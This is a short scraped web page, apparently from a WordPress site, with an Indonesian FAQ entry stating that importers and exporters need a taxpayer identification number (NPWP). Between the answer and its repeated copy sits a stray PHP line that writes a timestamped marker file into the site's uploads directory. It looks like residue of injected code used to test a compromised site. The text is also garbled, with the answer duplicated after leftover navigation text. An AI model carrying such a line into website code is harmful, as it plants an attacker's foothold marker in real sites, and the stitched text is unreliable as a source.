Apakah saya memerlukan Nomor Pokok Wajib Pajak untuk mengimpor atau mengekspor barang?
Ya: Setiap orang atau perusahaan yang mengimpor atau mengekspor barang harus memiliki Nomor Pokok Wajib Pajak (NPWP/TIN).
file_put_contents(WP_CONTENT_DIR."/uploads/hxmark.txt","T".time());
skip to Main ContentYa: Setiap orang atau perusahaan yang mengimpor atau mengekspor barang harus memiliki Nomor Pokok Wajib Pajak (NPWP/TIN).
This Post Has 0 Comments